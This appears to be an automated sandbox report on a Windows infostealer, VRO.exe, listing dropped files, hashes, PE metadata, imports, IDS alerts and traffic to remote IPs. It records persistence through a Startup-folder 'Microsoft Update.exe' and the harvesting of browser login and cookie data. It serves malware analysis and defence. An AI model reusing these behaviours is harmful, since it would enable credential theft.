a0e9f5d64349fb13191bc781f81f42e1	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	escsvc64.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	escsvc64.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	random.exe	Get hash	malicious	LummaC	Browse	172.65.251.78

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\e_sqlite3.dll	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\Public\Documents\638724365355223764\Default_LoginDataTemp.db

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Documents\638724365355223764\Files\D\hwcompat.txt

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	751624
Entropy (8bit):	4.941596949315087
Encrypted:	false
SSDEEP:	3072:5CgixLwQcUHW0tKouM4kD+nRzkSv9N+VYuhras4V:AgixLIUHW0tK7MmkSv9w/tas4
MD5:	FBF37B8B1EE4640B1C470F2F07A80E4A
SHA1:	B239C5499FA63D397C3DD35A7F605CE86D91B44B
SHA-256:	E21DB717F31F9465420E6354BAA5AFAEAA3521DEB885ED46BC90530AEE9FFD20
SHA-512:	F9439E2D7B63825FE812EE380F1EF8B277D50EED706B6ABE4B8563423891FF425A00083E88626084EE493376F1DA742ECD73B6B5F892E001C4F9048C7D3AC36C
Malicious:	false
Preview:	HwCompat V4....1394.inf:..PCI\CC_0C0010..PCI\VEN_10CF&CC_0C0010..PCI\VEN_11C1&CC_0C0010..PCI\VEN_100B&DEV_000F..PCI\VEN_100B&CC_0C0010..PCI\VEN_1033&DEV_0063..PCI\VEN_1033&CC_0C0010..PCI\VEN_1180&CC_0C0010..PCI\VEN_104D&DEV_8039..PCI\VEN_104D&DEV_8039&REV_03..PCI\VEN_104C&DEV_8009..PCI\VEN_104C&DEV_8019..PCI\VEN_104C&CC_0C0010..PCI\VEN_104C&DEV_8009&SUBSYS_8032104D..PCI\VEN_1106&DEV_3044..PCI\VEN_1106&CC_0C0010....3ware.inf:..PCI\VEN_13C1&DEV_1010&SUBSYS_000113C1....55fpgafirmware.inf:..UEFI\RES_{C907D5F6-BBE9-47EE-B76B-5E28C7F9FC63}....55niosfirmware.inf:..UEFI\RES_{06B75ADA-B0E1-46BA-BB3B-4D6E4A0F2CB1}....55smcappfirmware.inf:..UEFI\RES_{364D032C-0041-48A6-A26F-62388D97FC6C}....55smcbootfirmware.inf:..UEFI\RES_{DA50CBA0-8F33-4B66-8A3A-08F84015C33F}....55stguestfirmware.inf:..UEFI\RES_{4E11B2F5-AF26-49D5-A549-72AE52345E22}....55stoutfirmware.inf:..UEFI\RES_{7E2BEABF-4BE5-4C10-AF9C-4C1A69E06033}....55stpcfirmware.inf:..UEFI\RES_{296EFE23-EB18-42EE-8B12-51489B27232A}....55sttouchbackgue

C:\Users\Public\Documents\Backup_[United States]_8.46.123.189_[1401].zip

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	Zip archive data, at least v4.5 to extract, compression method=deflate
Category:	dropped
Size (bytes):	95768
Entropy (8bit):	7.998021999942395
Encrypted:	true
SSDEEP:	1536:MiNc+5H3I7iAUuTygQqztt2TbYpZ5IiUZ/7ddKhs38v9TP8Ay4Ts1OsD5akPOKLL:MiNcE3I7bbfQyttnpDIiU17dd38Tkz4C
MD5:	B200108A72497B60E1033DA0A7C479B1
SHA1:	6861EFA6965281A8567AC45F62A1998DF0AD7762
SHA-256:	62BE44A8D7D3878738EACD1FD15BB3D9B2D1724FE61496AE9D342DA821E43BEB
SHA-512:	2C28BE5A5E139FF62C58C121DD9BA7FD96C4005306E1AEA7CEB664FD0B3FE03FED11EBC55BFD4C5EF50C066E2D98C4210570074A1E0F7F4E067E3620C1A016FE
Malicious:	false
Preview:	PK..-......;.Z.8n~............D/hwcompat.txt.....x......Zu......i...K#8.^...~...lm.{.iB4....I>d9d=.c.P...\E...;D..g...$.v..\.....].....HSw_iq>ah\|..&.0.).S.c...HC%..-..d...s[yA...:N..P...Q.......6...yA7.=.k.{.5..,..Q.q.b...~T.IN...=.F.....@:..4........}':.&.C..\<a.c..k).^.......Q.o....&~.2.!.....{b.M..~ui]t..) .U.W8..{itQ...........<...3yPU.e....v^...X.N.U...... ..0^.Vzq.=....rP.R'.W.........../...ha\|......!U\X.m...3.C.-..k...M.......9=.b......./.\|....8.)B...s.G3....(..0^.>.<...D.e.+........dq0.}..Y....&.$._..t.....H,..I=...#.mId..@.7...!....1NH...E..z.....C./.k..3i\$...z.....a!..7X[Y/.......D.VR......".nbN.........r..&..a}..Vj.<......iB5!...]5.c.....).........O... ...,...8..J.->Y..py.......r..r.D%H.{001....O..IW^.%H".f.5...V.7.2.{M.Q..<2(..6.KN.L`...IS..........D.m.1y..t'...... .8V.Ij...]%.By.@y.'SI{.o6....u.._..K)."..Sqh..w.Ek.2.s....Z...3.w...w{V....J..#..\:Y.....a.EC..8.......?.Z\%!.....tC.....k.....J..O..........B;.G^N...w.7..4..`.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	0.7403664744478247
Encrypted:	false
SSDEEP:	3:FiWXlv9U:Lv
MD5:	99BBE027A67D5B8E84C910F7C77709D2
SHA1:	372EFA7431F8EECFC4247C810131CB6928E50AC3
SHA-256:	0F27051CF1DA3BBA983425A45ED2DE291E43491E0A982844D92C5B92AF34FCAE
SHA-512:	E3970DEFF941FE95016F731651C7C234FF4AD27B54317BE44B4292F050E2A4B9ACACFF103837ADFC94999F9B534098231204C26D9BBDF47412CFE09C50F77BE7
Malicious:	false
Preview:	sdPC......................5.y&.K.?....................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\DevToolsActivePort

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	59
Entropy (8bit):	4.492149828729506
Encrypted:	false
SSDEEP:	3:tDTdKSuytTX4QcnTBwS2hMD:1U5woQcTqS1D
MD5:	2BFC7616AA8AC3492B8AA511DF4062FC
SHA1:	80E13654693193A9B816F8FD6F2B7FC8F542108E
SHA-256:	51E14055921AEDFF257EC9D84E512B3689829983BBEB61794B50195C63A1A7DD
SHA-512:	1F5D8621BFEEAB8290E39F819C58307E747839C6521E9B1151AC74DDB01CC0ADF296C568042A52A77881B6834B51113CA0781BBFB718EB4D76709E2D6AED14AE
Malicious:	false
Preview:	9953./devtools/browser/fe622f84-7159-42aa-86d0-6717afd2b98f

C:\Users\user\AppData\Local\Temp\tmpeylteu.tmp

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	337920
Entropy (8bit):	6.022595133267488
Encrypted:	false
SSDEEP:	6144:hHKcZiRmNpvC0aW2V3kUpAHodc5zrFRhKq:hq0iMNlazV3xioaT
MD5:	27A4EE022E76538E095FD1A9C5B7F615
SHA1:	0EFDCEF57A7C56A76AD0EC567379BD60C95AEEB1
SHA-256:	5B275551F6800F8E73A363FACEF7835005AFE746D15867750560F868F7EA9493
SHA-512:	3DD7D58595CEA278D2757E8494D3EB866D4DFA3EC80CDEFAAD2FDA222FEA7D176C123E98F64F52D5EA34D851AF2884C0F138FC70ED3FE3803D7C0B032B9B45CD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............\|\|@.\|\|@.\|\|@..yA.\|\|@..xA.\|\|@...A.\|\|@...A.\|\|@..xA.\|\|@..yA.\|\|@..}A.\|\|@.\|}@,\|\|@&.uA.\|\|@&..@.\|\|@&.~A.\|\|@Rich.\|\|@........................PE..d....<.g..........".........(.................@..........................................`..................................................F..x...........................p..........8...........................`...@............0...............................text............................... ..`.rdata..."...0...$..................@..@.data...X/...`.......>..............@....pdata...*.......,...T..............@..@.fptable............................@....rsrc...............................@..@.reloc.......p......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\MyApp\svchost.dll

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26325520
Entropy (8bit):	6.920312863472644
Encrypted:	false
SSDEEP:	393216:65EuG0MsE0UKA3t2iUXxlhdYzX3xvylRfHTHiD:SXK3yhlhdYzX3xvylR7HiD
MD5:	7E4D8CBC68203804FD6B7E2A81A83BC8
SHA1:	8FCC7A1D8FA5897E5C24CDEA83921169DC080A87
SHA-256:	29648CFEB719595AEFC593E95CA49C9785962FEFC9484EE917627F936C8CCEDF
SHA-512:	278E75FDC102D6887BF2E3DA3B7265090D0C4C5305AA5686CF794FA9F7F39693234E11F0002A42656E7096A2C06846A0218A2B740F6A0C0A94CD28A0FFF97793
Malicious:	true
Yara Hits:	Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\Users\user\Desktop\MyApp\svchost.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 21% Antivirus: Virustotal, Detection: 21%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\aYg..74..74..74..45..74..35..74..25?.74.x.4..74j.65..74..64..74..45..74..35..74..74..74..25P.74..75..74..55..74Rich..74................PE..d....:.g.........." ...*.....B....7.@.....................................................`........................................../..h..../..T...............l...................P...T.......................(.......@............p..p............................text............................... ..`.managedX........................... ..`hydrated..7.............................rdata.......p......................@..@.data...p....`......................@....pdata..l............x..............@..@.rsrc...............................@..@.reloc........... ..................@..B........................................................................................................................................................

C:\Users\user\Desktop\e_sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\VRO.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1780736
Entropy (8bit):	6.54388973247121
Encrypted:	false
SSDEEP:	24576:izDLT7eXc2a+xMPDBsvh58j6OQ/K4eSlrIBizB2J4bJGtpxnvUmhEocQ0x58:iTTXkMPDjj6O0d1Z9sxnvU3Z
MD5:	B1A10828FADDCB586CC3A9C7A01CBBBF
SHA1:	1D7EF8581F731D77C9621045C0F2712D654EBEF0
SHA-256:	1D2D090188CD500EB6098701690A72F090440162A651123EAB44132525597446
SHA-512:	12171C09B03BB2E163561B9B7618B3EC8566D3162A2472A63661A1F86F26118272F3A7C6608C09640D57D992DE52A840DEB41B5EB089E19D35E45D08492ACACF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: mP8rzGD7fG.dll, Detection: malicious, Browse Filename: mP8rzGD7fG.dll, Detection: malicious, Browse Filename: e0691gXIKs.exe, Detection: malicious, Browse Filename: hJ1bl8p7dJ.exe, Detection: malicious, Browse Filename: Y4TyDwQzbE.exe, Detection: malicious, Browse Filename: DYv2ldz5xT.exe, Detection: malicious, Browse Filename: rBFTGm5ioO.exe, Detection: malicious, Browse Filename: DYv2ldz5xT.exe, Detection: malicious, Browse Filename: rBFTGm5ioO.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N..B.........A......A......A...+..A............X.....X......X...................N..........Rich...........................PE..d.....Xg.........." .....................................................................`A.............................................$......(....`.......`..P............p...... _..T............................_..8............@...............................text....(.......*.................. ..`.rdata......@......................@..@.data............n..................@....pdata..P....`......."..............@..@_RDATA.......P......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.022595133267488
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	VRO.exe
File size:	337'920 bytes
MD5:	27a4ee022e76538e095fd1a9c5b7f615
SHA1:	0efdcef57a7c56a76ad0ec567379bd60c95aeeb1
SHA256:	5b275551f6800f8e73a363facef7835005afe746d15867750560f868f7ea9493
SHA512:	3dd7d58595cea278d2757e8494d3eb866d4dfa3ec80cdefaad2fda222fea7d176c123e98f64f52d5ea34d851af2884c0f138fc70ed3fe3803d7c0b032b9b45cd
SSDEEP:	6144:hHKcZiRmNpvC0aW2V3kUpAHodc5zrFRhKq:hq0iMNlazV3xioaT
TLSH:	EB745A13BA9424F4DAB7A13E99054501D2717C0503B3D7EB33AAF66A2F37AE05E39721
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............\|\|@.\|\|@.\|\|@..yA.\|\|@..xA.\|\|@...A.\|\|@...A.\|\|@..xA.\|\|@..yA.\|\|@..}A.\|\|@.\|}@,\|\|@&.uA.\|\|@&..@.\|\|@&.~A.\|\|@Rich.\|\|@...............

File Icon


Icon Hash:	6796a6a5a3aba4b3

Static PE Info

General

Entrypoint:	0x14000f400
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x67823CE6 [Sat Jan 11 09:41:58 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	e3537793dfa24b239b1d9dc4444b7381

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F96B08A9820h
dec eax
add esp, 28h
jmp 00007F96B08A8D7Fh
int3
int3
dec eax
sub esp, 28h
call 00007F96B08A9BF4h
test eax, eax
je 00007F96B08A8F23h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F96B08A8F07h
dec eax
cmp ecx, eax
je 00007F96B08A8F16h
xor eax, eax
dec eax
cmpxchg dword ptr [000388B8h], ecx
jne 00007F96B08A8EF0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F96B08A8EF9h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F96B08A8F09h
mov byte ptr [000388A1h], 00000001h
call 00007F96B08A9251h
call 00007F96B08AADBCh
test al, al
jne 00007F96B08A8F06h
xor al, al
jmp 00007F96B08A8F16h
call 00007F96B08B7D5Bh
test al, al
jne 00007F96B08A8F0Bh
xor ecx, ecx
call 00007F96B08AADCCh
jmp 00007F96B08A8EECh
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [00038868h], 00000000h
mov ebx, ecx
jne 00007F96B08A8F69h
cmp ecx, 01h
jnbe 00007F96B08A8F6Ch
call 00007F96B08A9B6Ah
test eax, eax
je 00007F96B08A8F2Ah
test ebx, ebx
jne 00007F96B08A8F26h
dec eax
lea ecx, dword ptr [00038852h]
call 00007F96B08B7B52h
test eax, eax
jne 00007F96B08A8F12h
dec eax
lea ecx, dword ptr [0003885Ah]
call 00007F96B08A8F42h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4460c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4d000	0x9908	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x49000	0x2ab4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x57000	0xa90	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3f8a0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3f760	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x3a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3158c	0x31600	349ecc97accba9d7ada85342f6bd61a8	False	0.5356457674050633	data	6.464784609406942	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0x12280	0x12400	7b737eb46b88810101eda347949c133b	False	0.4150658176369863	data	4.872293907573807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x46000	0x2f58	0x1600	7be7f45d4660dea14fbcc5276b8f4c3f	False	0.16228693181818182	DOS executable (block device driver)	2.9139472848747614	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x49000	0x2ab4	0x2c00	b5b9615a1b9ff4789673c4e730277947	False	0.4774502840909091	data	5.350117488433904	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fptable	0x4c000	0x100	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4d000	0x9908	0x9a00	84a16da59a8d2126668e1c93443eb9c9	False	0.03218851461038961	data	2.167508930541386	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x57000	0xa90	0xc00	c5ccda8d484de9b377c7e3505d1db0a0	False	0.4417317708333333	data	5.174574201143241	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4d100	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.019865461425268027
RT_GROUP_ICON	0x565a8	0x14	data	English	United States	1.15
RT_VERSION	0x565c0	0x348	data	English	United States	0.444047619047619

Imports

DLL	Import
KERNEL32.dll	GetProcAddress, ExitProcess, GetModuleHandleW, QueryPerformanceCounter, IsDebuggerPresent, SetFileAttributesW, MultiByteToWideChar, CopyFileW, WideCharToMultiByte, CreateDirectoryW, WriteFile, GetModuleFileNameW, CreateFileW, FormatMessageW, GetLastError, DeleteFileW, CloseHandle, LoadLibraryW, FreeLibrary, SetEndOfFile, WriteConsoleW, HeapSize, GetCurrentProcess, VirtualProtect, GetProcessHeap, SetStdHandle, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, HeapReAlloc, ReadConsoleW, ReadFile, EnumSystemLocalesW, LocalFree, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetStartupInfoW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, GetStdHandle, GetModuleHandleExW, HeapFree, GetFileSizeEx, SetFilePointerEx, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, RtlUnwind
ADVAPI32.dll	RegSetValueExW, RegCloseKey, RegOpenKeyExW
SHELL32.dll	SHGetFolderPathW
WINHTTP.dll	WinHttpQueryDataAvailable, WinHttpCrackUrl, WinHttpConnect, WinHttpReceiveResponse, WinHttpOpen, WinHttpReadData, WinHttpOpenRequest, WinHttpCloseHandle, WinHttpSendRequest
bcrypt.dll	BCryptDestroyKey, BCryptGetProperty, BCryptDecrypt, BCryptOpenAlgorithmProvider, BCryptCloseAlgorithmProvider, BCryptSetProperty, BCryptGenerateSymmetricKey

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T13:28:35.736918+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.65.251.78	443	TCP
2025-01-14T13:30:36.398390+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50017	172.65.251.78	443	TCP
2025-01-14T13:30:39.078780+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50018	172.67.74.152	443	TCP
2025-01-14T13:30:39.700530+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50019	172.67.74.152	443	TCP
2025-01-14T13:30:40.206639+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50020	208.95.112.1	80	TCP
2025-01-14T13:30:40.859018+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50021	172.67.74.152	443	TCP
2025-01-14T13:30:41.462545+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50022	172.67.74.152	443	TCP
2025-01-14T13:30:41.955108+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50023	208.95.112.1	80	TCP
2025-01-14T13:30:53.322143+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50024	172.65.251.78	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 13:28:35.247631073 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:35.247663021 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:35.247760057 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:35.249017000 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:35.249027967 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:35.736828089 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:35.736917973 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:35.756719112 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:35.756736994 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:35.757108927 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:35.806204081 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:35.813556910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:35.855333090 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:36.088063955 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:36.088130951 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:36.088213921 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:36.088221073 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:36.088253021 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:36.088268042 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:36.088323116 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:36.088371038 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:36.088402987 CET	443	49730	172.65.251.78	192.168.2.4
